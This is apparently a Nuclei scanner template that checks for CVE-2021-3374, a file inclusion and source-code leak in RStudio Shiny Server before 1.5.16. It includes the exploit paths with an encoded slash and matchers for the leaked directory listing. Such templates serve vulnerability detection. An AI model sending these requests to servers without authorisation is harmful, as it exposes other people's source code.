50 lines
1.5 KiB
YAML
50 lines
1.5 KiB
YAML
id: CVE-2021-3374
|
|
|
|
info:
|
|
name: Rstudio Shiny Server <1.5.16 - Local File Inclusion
|
|
author: geeknik
|
|
severity: medium
|
|
description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
|
|
remediation: |
|
|
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
|
|
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-3374
|
|
cwe-id: CWE-22
|
|
epss-score: 0.00195
|
|
epss-percentile: 0.57052
|
|
cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: rstudio
|
|
product: shiny_server
|
|
tags: cve,cve2021,rstudio,traversal
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%2f/"
|
|
- "{{BaseURL}}/sample-apps/hello/%2f/"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Index of /"
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "[A-Za-z].*\\.R"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502200eaa6bf4d66b1d63b8b9e2ff04b04af21c8b178700cb5cb66c6ad05b30b65cbb022100d8a695d4b799cb2929fbd2cd03afe8d43c98219272b4833e1792591f2914af35:922c64590222798bb761d5b6d8e72950
|